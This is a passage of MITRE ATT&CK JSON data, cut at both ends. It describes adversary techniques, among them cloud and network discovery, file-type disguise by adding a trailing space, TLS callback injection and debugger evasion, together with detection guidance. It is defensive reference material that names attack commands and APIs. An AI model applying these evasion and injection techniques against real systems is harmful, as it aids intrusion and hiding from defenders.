"mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/004", "external_id": "T1584.004"}, {"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-05-04T18:01:44.086Z", "name": "Cloud Service Discovery", "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Suzy Schapperle - Microsoft Azure Red Team", "Praetorian", "Thanabodi Phrakhun, I-SECURE"], "x_mitre_deprecated": false, "x_mitre_detection": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Cloud Service: Cloud Service Enumeration"], "type": "attack-pattern", "id": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", "created": "2019-08-30T13:01:10.120Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1526", "external_id": "T1526"}, {"source_name": "Azure AD Graph API", "description": "Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.", "url": "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview"}, {"source_name": "Azure - Resource Manager API", "description": "Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.", "url": "https://docs.microsoft.com/en-us/rest/api/resources/"}, {"source_name": "Azure - Stormspotter", "description": "Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.", "url": "https://github.com/Azure/Stormspotter"}, {"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Erye Hernandez, Palo Alto Networks"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1151", "url": "https://attack.mitre.org/techniques/T1151"}, {"external_id": "CAPEC-649", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/649.html"}, {"url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.", "source_name": "Mac Backdoors are back"}], "modified": "2020-02-10T20:49:12.897Z", "name": "Space after Filename", "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-08-14T19:08:59.741Z", "name": "Remote System Discovery", "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as  [Ping](https://attack.mitre.org/software/S0097) or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code> or <code>/etc/hosts</code>) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. <code>show cdp neighbors</code>, <code>show arp</code>).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)  \n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Daniel Stepanic, Elastic", "RedHuntLabs, @redhuntlabs", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "3.5", "x_mitre_data_sources": ["Command: Command Execution", "File: File Access", "Network Traffic: Network Connection Creation", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "created": "2017-05-31T21:30:28.187Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1018", "external_id": "T1018"}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"}, {"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-11T21:10:09.547Z", "name": "Network Service Discovery", "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)   \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Praetorian"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS", "Containers", "Network"], "x_mitre_version": "3.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Command: Command Execution", "Cloud Service: Cloud Service Enumeration"], "type": "attack-pattern", "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "created": "2017-05-31T21:30:43.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1046", "external_id": "T1046"}, {"source_name": "apple doco bonjour description", "description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.", "url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"}, {"source_name": "macOS APT Activity Bradley", "description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.", "url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T14:32:05.257Z", "name": "Domain Properties", "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_contributors": ["Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"], "type": "attack-pattern", "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d", "created": "2020-10-02T15:46:24.670Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1590/001", "external_id": "T1590.001"}, {"source_name": "Circl Passive DNS", "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", "url": "https://www.circl.lu/services/passive-dns/"}, {"source_name": "Azure Active Directory Reconnaisance", "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.", "url": "https://o365blog.com/post/just-looking/"}, {"source_name": "DNS Dumpster", "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", "url": "https://dnsdumpster.com/"}, {"source_name": "Office 265 Azure Domain Availability", "description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.", "url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"}, {"source_name": "WHOIS", "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", "url": "https://www.whois.net/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T00:16:06.689Z", "name": "Software Discovery", "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Process: OS API Execution", "Command: Command Execution", "Process: Process Creation", "Firewall: Firewall Enumeration", "Firewall: Firewall Metadata"], "type": "attack-pattern", "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "created": "2019-09-16T17:52:44.147Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1518", "external_id": "T1518"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-19T04:25:33.300Z", "name": "Cloud Service Dashboard", "description": "An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Praetorian", "Obsidian Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Azure AD", "Office 365", "IaaS", "Google Workspace", "SaaS"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "User Account: User Account Authentication"], "type": "attack-pattern", "id": "attack-pattern--e49920b0-6c54-40c1-9571-73723653205f", "created": "2019-08-30T18:11:24.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1538", "external_id": "T1538"}, {"source_name": "AWS Console Sign-in Events", "description": "Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.", "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"}, {"source_name": "Google Command Center Dashboard", "description": "Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.", "url": "https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", "type": "attack-pattern", "created": "2020-01-14T01:30:41.092Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.005", "url": "https://attack.mitre.org/techniques/T1055/005"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", "source_name": "FireEye TLS Nov 2017"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}], "modified": "2021-10-18T12:24:54.198Z", "name": "Thread Local Storage", "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Modification", "Process: Process Access", "Process: OS API Execution"], "x_mitre_defense_bypassed": ["Anti-virus", "Application control"]}, {"x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["TruKno"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", "created": "2022-04-01T17:59:46.156Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1622", "url": "https://attack.mitre.org/techniques/T1622"}, {"source_name": "Checkpoint Dridex Jan 2021", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/", "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}, {"source_name": "hasherezade debug", "url": "https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf", "description": "hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022."}, {"source_name": "AlKhaser Debug", "url": "https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug", "description": "Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022."}, {"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}, {"source_name": "ProcessHacker Github", "url": "https://github.com/processhacker/processhacker", "description": "ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022."}, {"source_name": "vxunderground debug", "url": "https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug", "description": "vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would \u201cswallow\u201d or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)", "modified": "2022-04-16T15:05:55.918Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Debugger Evasion", "x_mitre_detection": "Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Process: Process Creation", "Process: OS API Execution", "Application Log: Application Log Content", "Command: Command Execution"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:52.873Z", "name": "Space after Filename", "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Erye Hernandez, Palo Alto Networks"], "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Metadata"], 